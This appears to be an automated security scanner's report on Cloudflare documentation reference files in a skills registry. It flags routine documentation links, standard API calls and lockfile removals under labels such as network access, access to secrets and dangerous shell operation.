    | Vercel AI SDK, provider adapters, and fallback providers | [Vercel AI SDK integration](https://developers.cloudflare.com/ai-gateway/integrations/vercel-ai-sdk/index.md) | | Preserve OpenAI-native endpoints with the OpenAI SDK, Python, or 
  • Network accessline 9
    | Preserve OpenAI-native endpoints with the OpenAI SDK, Python, or HTTP | [OpenAI provider guide](https://developers.cloudflare.com/ai-gateway/usage/providers/openai/index.md) | | Preserve Anthropic-native requests | [Anthropic provider gui
  • Network accessline 10
    | Preserve Anthropic-native requests | [Anthropic provider guide](https://developers.cloudflare.com/ai-gateway/usage/providers/anthropic/index.md) |
  • Network accessline 11
    | Use another provider or a framework's configurable provider endpoint | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md) — match the framework's expected API shape to the provider endpoint |
  • Network accessline 12
    | Configure Workers AI and an AI binding | [Binding setup](https://developers.cloudflare.com/ai-gateway/integrations/aig-workers-ai-binding/index.md) |
  • Network accessline 13
    | Call Workers AI or third-party models from a Worker; use gateway methods | [Workers binding methods](https://developers.cloudflare.com/ai-gateway/usage/worker-binding-methods/index.md) |
  • Network accessline 14
    | Set request metadata, caching, or other gateway headers | [Header glossary](https://developers.cloudflare.com/ai-gateway/glossary/index.md) |
  • Network accessline 15
    | Invoke a dynamic route | [Dynamic route usage](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) |
  • Network accessline 17
    The [legacy Unified API](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md) is deprecated for single-model calls, but dynamic routes still require its compatibility endpoint. Do not migrate a dynamic route to the R

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/troubleshooting.md

  • Network accessline 5
    | Symptom or task | Current documentation | |-----------------|-----------------------| | Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gatew
  • Network accessline 6
    |-----------------|-----------------------| | Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gateway/reference/troubleshooting/index.md) | | G
  • Network accessline 7
    | Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gateway/reference/troubleshooting/index.md) |
  • Network accessline 8
    | Gateway authentication failure | [Authenticated Gateway](https://developers.cloudflare.com/ai-gateway/configuration/authentication/index.md) and [REST API authentication](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.m
  • Network accessline 9
    | Provider key or billing mismatch | [BYOK](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md), [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md), and the
  • Network accessline 10
    | Rate limits or repeated failures | [Rate limiting](https://developers.cloudflare.com/ai-gateway/features/rate-limiting/index.md) and [request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md) 
  • Network accessline 11
    | Unexpected cache hit or miss, including streaming behavior | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) |
  • Network accessline 12
    | Missing logs, collection overrides, or storage limits | [Logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) and [limits](https://developers.cloudflare.com/ai-gateway/reference/limits/index.md) |
  • Network accessline 13
    | Inspect headers, request metadata, usage, or export logs | [Header glossary](https://developers.cloudflare.com/ai-gateway/glossary/index.md), [custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/ind
  • Network accessline 14
    | Dynamic route failure | [Dynamic route usage](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) |

packages/autoskills/skills-registry/cloudflare/references/ai-search/README.md

  • Network accessline 3
    Use AI Search for managed content indexing and retrieval, with optional answer generation. Start with [How AI Search works](https://developers.cloudflare.com/ai-search/concepts/how-ai-search-works/index.md).
  • Network accessline 11
    For freshness requirements, read [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) for your data source before choosing an architecture. Use the current [limits and pricing](https://developers.cl
  • Network accessline 17
    | Task | Start here | |------|------------| | Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) |
  • Network accessline 18
    |------|------------| | Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | | Choose an API or maintain an existing integration | [API routes](api.md) |
  • Network accessline 19
    | Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) |
  • Network accessline 25
    Existing `env.AI.autorag()` integrations can continue to work. Use the [migration guide](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) when upgrading; migration is not required just to maintain an exist

packages/autoskills/skills-registry/cloudflare/references/ai-search/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) |
  • Network accessline 6
    |------|---------------| | New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) | | Create, list, configure, an
  • Network accessline 7
    | New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) |
  • Network accessline 8
    | Create, list, configure, and inspect instances | [Instances Workers binding](https://developers.cloudflare.com/ai-search/api/instances/workers-binding/index.md) |
  • Network accessline 9
    | Query over HTTP and configure request authentication | [Search REST API](https://developers.cloudflare.com/ai-search/api/search/rest-api/index.md) |
  • Network accessline 10
    | Maintain an existing `env.AI.autorag()` integration | [Legacy Workers binding](https://developers.cloudflare.com/ai-search/api/migration/workers-binding-legacy/index.md) |
  • Network accessline 11
    | Upgrade a legacy binding, including responses, streaming, and filters | [Workers binding migration](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) |

packages/autoskills/skills-registry/cloudflare/references/ai-search/configuration.md

  • Network accessline 3
    | Task | Documentation | |------|---------------| | Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) |
  • Network accessline 4
    |------|---------------| | Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | | Select built-in uploads, R2, or a website; check supported format
  • Network accessline 5
    | Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) |
  • Network accessline 6
    | Select built-in uploads, R2, or a website; check supported formats | [Data sources](https://developers.cloudflare.com/ai-search/configuration/data-source/index.md) |
  • Network accessline 7
    | Connect existing R2 content | [R2 data source](https://developers.cloudflare.com/ai-search/configuration/data-source/r2/index.md) |
  • Network accessline 8
    | Configure crawling and diagnose bot-protection requirements | [Website data source](https://developers.cloudflare.com/ai-search/configuration/data-source/website/index.md) |
  • Network accessline 9
    | Include or exclude files and URL paths | [Path filtering](https://developers.cloudflare.com/ai-search/configuration/indexing/path-filtering/index.md) |
  • Network accessline 10
    | Configure source syncs, trigger indexing, or pause and resume | [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) |
  • Network accessline 11
    | Grant AI Search access to R2 for indexing | [Service API token](https://developers.cloudflare.com/ai-search/configuration/indexing/service-api-token/index.md) |
  • Network accessline 12
    | Organize instances by application, tenant, or environment | [Namespaces](https://developers.cloudflare.com/ai-search/concepts/namespaces/index.md) |
  • Network accessline 13
    | Configure models | [Models](https://developers.cloudflare.com/ai-search/configuration/models/index.md) |
  • Network accessline 14
    | Inspect instance configuration and indexing progress | [Instances Workers binding](https://developers.cloudflare.com/ai-search/api/instances/workers-binding/index.md) |
  • Network accessline 16
    Indexing credentials and request authentication serve different purposes. For authenticating search requests over HTTP, use the [Search REST API](https://developers.cloudflare.com/ai-search/api/search/rest-api/index.md) documentation.

packages/autoskills/skills-registry/cloudflare/references/ai-search/gotchas.md

  • Network accessline 3
    | Symptom or question | Documentation | |---------------------|---------------| | API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-cod
  • Network accessline 4
    |---------------------|---------------| | API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-codes/index.md) | | Upload or sync succeeds
  • Network accessline 5
    | API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-codes/index.md) |
  • Network accessline 6
    | Upload or sync succeeds but content fails during processing | [Indexing error codes](https://developers.cloudflare.com/ai-search/troubleshooting/indexing-error-codes/index.md) |
  • Network accessline 7
    | Content is missing or stale | [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) and [supported data sources and formats](https://developers.cloudflare.com/ai-search/configuration/data-source/in
  • Network accessline 8
    | Filters return unexpected documents or no matches | [Filtering](https://developers.cloudflare.com/ai-search/configuration/retrieval/filtering/index.md) and [metadata attributes](https://developers.cloudflare.com/ai-search/configuration/in
  • Network accessline 9
    | Thresholds exclude results or responses need tuning | [Result controls](https://developers.cloudflare.com/ai-search/configuration/retrieval/result-controls/index.md) |
  • Network accessline 10
    | Binding types, response parsing, or streaming fail after an upgrade | [Workers binding migration](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) |
  • Network accessline 11
    | Capacity, file-size, or billing questions | [Limits and pricing](https://developers.cloudflare.com/ai-search/platform/limits-pricing/index.md) |

packages/autoskills/skills-registry/cloudflare/references/ai-search/patterns.md

  • Network accessline 3
    Choose retrieval-only search when your application displays chunks or handles generation itself; choose chat completions when AI Search should also generate the answer. Read [Search Workers binding](https://developers.cloudflare.com/ai-sear
  • Network accessline 5
    | Task | Documentation | |------|---------------| | Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) |
  • Network accessline 6
    |------|---------------| | Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) | | Define built-in or custom metadata | [Meta
  • Network accessline 7
    | Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) |
  • Network accessline 8
    | Define built-in or custom metadata | [Metadata attributes](https://developers.cloudflare.com/ai-search/configuration/indexing/metadata/index.md) |
  • Network accessline 9
    | Filter by metadata, combine conditions, or match a folder and subfolders | [Filtering](https://developers.cloudflare.com/ai-search/configuration/retrieval/filtering/index.md) |
  • Network accessline 10
    | Tune result count and relevance thresholds | [Result controls](https://developers.cloudflare.com/ai-search/configuration/retrieval/result-controls/index.md) |
  • Network accessline 11
    | Resolve follow-up queries using conversation context | [Query rewriting](https://developers.cloudflare.com/ai-search/configuration/retrieval/query-rewriting/index.md) |
  • Network accessline 12
    | Improve result ordering with a second model | [Reranking](https://developers.cloudflare.com/ai-search/configuration/retrieval/reranking/index.md) |
  • Network accessline 13
    | Customize generation and query-rewriting instructions | [System prompt](https://developers.cloudflare.com/ai-search/configuration/retrieval/system-prompt/index.md) |

packages/autoskills/skills-registry/cloudflare/references/analytics-engine/README.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 92
    - [Cloudflare Analytics Engine Docs](https://developers.cloudflare.com/analytics/analytics-engine/index.md)

packages/autoskills/skills-registry/cloudflare/references/analytics-engine/api.md

  • Network accessline 30
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 31
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 56
    curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/analytics_engine/sql \

packages/autoskills/skills-registry/cloudflare/references/analytics-engine/configuration.md

  • Network accessline 38
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 39
    async fetch(request: Request, env: Env) {

packages/autoskills/skills-registry/cloudflare/references/analytics-engine/gotchas.md

  • Access to secretsline 39
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/analytics-engine/patterns.md

  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/bindings/README.md

  • Network accessline 9
    - [Bindings overview and catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md): capability model, available products, environment access, and binding lifecycle.
  • Network accessline 10
    - [Storage options](https://developers.cloudflare.com/workers/platform/storage-options/index.md): choose storage from consistency, query, and coordination requirements.

packages/autoskills/skills-registry/cloudflare/references/bindings/api.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) |
  • Network accessline 6
    | --- | --- | | Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) | | Generate environment and runtime types; con
  • Network accessline 7
    | Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) |
  • Network accessline 8
    | Generate environment and runtime types; configure TypeScript or migrate from `@cloudflare/workers-types` | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 9
    | Use framework-specific environment access | [Hono on Workers](https://developers.cloudflare.com/workers/framework-guides/web-apps/more-web-frameworks/hono/index.md) (follow the framework's linked documentation) |
  • Network accessline 10
    | Read, write, delete, and list KV keys | [KV Workers API](https://developers.cloudflare.com/kv/api/index.md) |
  • Network accessline 11
    | Read, write, delete, and list R2 objects | [R2 Workers API](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) |
  • Network accessline 12
    | Prepare and bind SQL statements or execute batches | [D1 Workers Binding API](https://developers.cloudflare.com/d1/worker-api/index.md) |
  • Network accessline 13
    | Address Durable Objects and call their methods | [Durable Objects API](https://developers.cloudflare.com/durable-objects/api/index.md) |
  • Network accessline 14
    | Send queue messages | [Queues JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) |
  • Network accessline 15
    | Run model inference | [Workers AI bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) |
  • Network accessline 16
    | Call another Worker using HTTP or typed RPC | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) and [RPC TypeScript](https://developers.cloudflare.com/workers/runtime-apis/rpc/ty
  • Network accessline 17
    | Find other product binding APIs, including Browser, mTLS, rate limiting, and Workflows | [Current binding catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) |

packages/autoskills/skills-registry/cloudflare/references/bindings/configuration.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) |
  • Network accessline 6
    | --- | --- | | Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) | | Create or inspect resources and manage dep
  • Network accessline 7
    | Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) |
  • Network accessline 8
    | Create or inspect resources and manage deployments | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/index.md) (select the product's commands) |
  • Network accessline 9
    | Configure named environments and non-inheritable bindings | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) |
  • Network accessline 10
    | Set non-sensitive configuration | [Environment variables](https://developers.cloudflare.com/workers/configuration/environment-variables/index.md) |
  • Network accessline 11
    | Set or rotate credentials in a chosen environment | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |
  • Network accessline 12
    | Configure text, data, and Wasm modules in existing projects | [Wrangler bundling](https://developers.cloudflare.com/workers/wrangler/bundling/index.md) and [configuration](https://developers.cloudflare.com/workers/wrangler/configuration/i
  • Network accessline 13
    | Choose locally simulated resources or remote bindings | [Local development](https://developers.cloudflare.com/workers/local-development/index.md) and [supported bindings per development mode](https://developers.cloudflare.com/workers/loca
  • Network accessline 14
    | Supply local variables and secrets | [Local environment variables and secrets](https://developers.cloudflare.com/workers/local-development/environment-variables/index.md) |
  • Network accessline 15
    | Seed or persist local resource data | [Adding local data](https://developers.cloudflare.com/workers/local-development/local-data/index.md) |
  • Network accessline 16
    | Generate types after configuring bindings | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |

packages/autoskills/skills-registry/cloudflare/references/bindings/gotchas.md

  • Network accessline 5
    | Symptom or question | What to check | | --- | --- | | A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inher
  • Network accessline 6
    | --- | --- | | A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inheritance](https://developers.cloudflare.co
  • Network accessline 7
    | A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inheritance](https://developers.cloudflare.com/workers/wran
  • Network accessline 8
    | TypeScript cannot find a binding or runtime type | [Current type generation and TypeScript setup](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 9
    | Updated credentials are not reflected in a client | [Binding changes and retained global state](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#making-changes-to-bindings); verify the [secret's environment and dep
  • Network accessline 10
    | Binding calls fail outside a handler | [Environment access and global-scope restrictions](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#how-to-access-env) |
  • Network accessline 11
    | A service target is unavailable or incorrect | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) and [multi-Worker development](https://developers.cloudflare.com/workers/local-de
  • Network accessline 12
    | Local data, secrets, or available bindings differ from deployment | [Development mode support](https://developers.cloudflare.com/workers/local-development/bindings-per-env/index.md), [local data](https://developers.cloudflare.com/workers/
  • Network accessline 13
    | KV reads appear stale or return no value | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md); verify the namespace and handle missing values |
  • Network accessline 14
    | Resource-specific API errors or limits | Follow the product from the [binding catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) to its troubleshooting and limits documentation |
  • Network accessline 15
    | Worker resource limits or unexpected charges | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/workers/platform/pricing/index.md); check each bound produ
  • Network accessline 16
    | Need to inspect configuration, resources, deployments, or logs | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/index.md) and [real-time logs](https://developers.cloudflare.com/workers/observability/logs/r

packages/autoskills/skills-registry/cloudflare/references/bindings/patterns.md

  • Network accessline 5
    | Task | Current documentation | | --- | --- | | Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) |
  • Network accessline 6
    | --- | --- | | Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) | | Forward Requests and Responses through a service binding | [Se
  • Network accessline 7
    | Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) | | Forward Requests and Responses through a service binding | [Service bindings
  • Network accessline 8
    | Forward Requests and Responses through a service binding | [Service bindings over HTTP](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/http/index.md) |
  • Network accessline 9
    | Expose callable methods with `WorkerEntrypoint` | [Service bindings over RPC](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/rpc/index.md) and [RPC TypeScript](https://developers.cloudflare.com/workers/ru
  • Network accessline 10
    | Run connected Workers during development | [Developing with multiple Workers](https://developers.cloudflare.com/workers/local-development/multi-workers/index.md) |
  • Network accessline 11
    | Test handlers against configured bindings and mock dependencies | [Workers Vitest configuration](https://developers.cloudflare.com/workers/testing/vitest-integration/configuration/index.md) and [test APIs](https://developers.cloudflare.co
  • Network accessline 12
    | Select KV, D1, R2, or Durable Objects | [Storage options](https://developers.cloudflare.com/workers/platform/storage-options/index.md) |
  • Network accessline 13
    | Keep clients current when bindings change | [Binding lifecycle](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#making-changes-to-bindings) |
  • Network accessline 14
    | Manage credentials used by external API clients | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |

packages/autoskills/skills-registry/cloudflare/references/browser-rendering/README.md

  • Network accessline 3
    Use Browser Run for screenshots, PDFs, rendered content extraction, and browser automation. Read the relevant current documentation before implementing; use the [documentation index](https://developers.cloudflare.com/browser-run/llms.txt) t

packages/autoskills/skills-registry/cloudflare/references/browser-rendering/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options
  • Network accessline 6
    |------|---------------| | Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options and examples for REST or
  • Network accessline 7
    | Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options and examples for REST or Workers bindings |
  • Network accessline 8
    | Automate a browser in Workers with Puppeteer | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) — Cloudflare package, browser operations, and session APIs |
  • Network accessline 9
    | Automate a browser in Workers with Playwright | [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — Cloudflare package, locators, storage state, and tracing |
  • Network accessline 10
    | Control a remote browser from an external runtime | [CDP](https://developers.cloudflare.com/browser-run/cdp/index.md) — session endpoints and links to Puppeteer, Playwright, and other clients |

packages/autoskills/skills-registry/cloudflare/references/browser-rendering/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup |
  • Network accessline 6
    |------|---------------| | Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup | | Configure a Worker or choose a dev
  • Network accessline 7
    | Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup |
  • Network accessline 8
    | Configure a Worker or choose a development mode | [Wrangler reference](https://developers.cloudflare.com/browser-run/reference/wrangler/index.md) — browser bindings, compatibility requirements, and local/remote development |
  • Network accessline 9
    | Install or update a Workers browser client | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) or [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — package-specific setup and sup
  • Network accessline 10
    | Connect from a script, server, or CI outside Workers | [CDP](https://developers.cloudflare.com/browser-run/cdp/index.md) — authentication and client integration guides |

packages/autoskills/skills-registry/cloudflare/references/browser-rendering/gotchas.md

  • Network accessline 5
    | Concern | Documentation | |---------|---------------| | Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific li
  • Network accessline 6
    |---------|---------------| | Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific limits | | Browser hours and c
  • Network accessline 7
    | Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific limits |
  • Network accessline 8
    | Browser hours and concurrent-browser charges | [Pricing](https://developers.cloudflare.com/browser-run/pricing/index.md) — distinguish Quick Actions from browser sessions |
  • Network accessline 9
    | Missing bindings, action failures, or unsupported behavior | [FAQ](https://developers.cloudflare.com/browser-run/faq/index.md) — diagnose the reported error and runtime constraints | | Puppeteer page evaluation cannot access outer variabl
  • Network accessline 10
    | Puppeteer page evaluation cannot access outer variables | [JavaScript execution](https://pptr.dev/guides/javascript-execution) — browser execution context, passing arguments, and returned values | | Block resources or handle intercepted P
  • Network accessline 11
    | Block resources or handle intercepted Puppeteer requests | [Request interception](https://pptr.dev/guides/network-interception) — continue, respond, or abort requests and avoid duplicate handling |
  • Network accessline 12
    | Unexpected disconnects or session loss | [Browser close reasons](https://developers.cloudflare.com/browser-run/reference/browser-close-reasons/index.md) — inspect the recorded close reason before choosing recovery |
  • Network accessline 13
    | Development or compatibility failures | [Wrangler reference](https://developers.cloudflare.com/browser-run/reference/wrangler/index.md) — verify binding configuration and interface-specific development support |

packages/autoskills/skills-registry/cloudflare/references/browser-rendering/patterns.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example |
  • Network accessline 6
    |------|---------------| | Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example | | Build custom interactions | [Puppet
  • Network accessline 7
    | Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example | | Build custom interactions | [Puppeteer](https://developers.c
  • Network accessline 8
    | Build custom interactions | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) or [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — browser automation examples | | Reconnect acros
  • Network accessline 9
    | Reconnect across requests | [Reuse sessions](https://developers.cloudflare.com/browser-run/features/reuse-sessions/index.md) — disconnect/reconnect lifecycle and when to use Durable Objects for stateful ownership |
  • Network accessline 10
    | Share browser capacity while isolating users | [Concurrency and session isolation](https://developers.cloudflare.com/browser-run/limits/index.md#how-can-i-manage-concurrency-and-session-isolation-with-browser-run) — tabs, browser contexts
  • Access to secretsline 12
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare/references/c3/README.md

  • Network accessline 42
    Fetch the [Workers framework guide](https://developers.cloudflare.com/workers/framework-guides/index.md) for the chosen framework before scaffolding or adapting an existing app. For Next.js, follow [Next.js on Workers](https://developers.cl

packages/autoskills/skills-registry/cloudflare/references/c3/configuration.md

  • Network accessline 17
    {   "$schema": "https://raw.githubusercontent.com/cloudflare/workers-sdk/main/packages/wrangler/config-schema.json",
  • Network accessline 18
    "$schema": "https://raw.githubusercontent.com/cloudflare/workers-sdk/main/packages/wrangler/config-schema.json",

packages/autoskills/skills-registry/cloudflare/references/c3/gotchas.md

  • Dangerous shell operationline 46
    rm pnpm-lock.yaml  # If using npm
  • Dangerous shell operationline 47
    rm package-lock.json  # If using pnpm

packages/autoskills/skills-registry/cloudflare/references/containers/README.md

  • Network accessline 7
    Use [Containers](https://developers.cloudflare.com/containers/index.md) for existing container images, custom runtimes, system dependencies, full filesystem access, or workloads needing additional CPU and memory. Use [Workers](https://devel
  • Network accessline 9
    Containers are controlled through [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md). An instance's identity does not make its filesystem persistent: design for restarts and store durable data outside the containe
  • Network accessline 15
    | Task | Start here | | --- | --- | | Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) |
  • Network accessline 16
    | --- | --- | | Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) | | Configure images, bindings, instance sizes, and deployments | [Configuration](configurati
  • Network accessline 17
    | Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) | | Configure images, bindings, instance sizes, and deployments | [Configuration](configuration.md) | | Con
  • Network accessline 23
    For additional topics, consult the [Containers documentation index](https://developers.cloudflare.com/containers/llms.txt).

packages/autoskills/skills-registry/cloudflare/references/containers/api.md

  • Network accessline 3
    Use the [Container interface](https://developers.cloudflare.com/containers/api/container-class/index.md) for the current SDK methods, signatures, properties, and examples. Use the [Durable Object Container API](https://developers.cloudflare
  • Network accessline 5
    | Task | Documentation | | --- | --- | | Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) |
  • Network accessline 6
    | --- | --- | | Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) | | Start a process, wait for ports, stop, or destroy it | [Start and stop](ht
  • Network accessline 7
    | Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) |
  • Network accessline 8
    | Start a process, wait for ports, stop, or destroy it | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop) |
  • Network accessline 9
    | React to startup, exit, errors, or idle expiry | [Lifecycle hooks](https://developers.cloudflare.com/containers/api/container-class/index.md#lifecycle-hooks) |
  • Network accessline 10
    | Inspect state or keep background work active | [State and monitoring](https://developers.cloudflare.com/containers/api/container-class/index.md#state-and-monitoring) |
  • Network accessline 11
    | Schedule callbacks without replacing the SDK's alarm handler | [Scheduling](https://developers.cloudflare.com/containers/api/container-class/index.md#scheduling) |
  • Network accessline 12
    | Address named instances, select stateless instances, or switch request ports | [Utility functions](https://developers.cloudflare.com/containers/api/container-class/index.md#utility-functions) |
  • Network accessline 13
    | Communicate over TCP from a Durable Object | [TCP port API](https://developers.cloudflare.com/containers/api/durable-object-container/index.md#gettcpport) |

packages/autoskills/skills-registry/cloudflare/references/containers/configuration.md

  • Network accessline 5
    | Task | Documentation | | --- | --- | | Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/ind
  • Network accessline 6
    | --- | --- | | Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) | | Sel
  • Network accessline 7
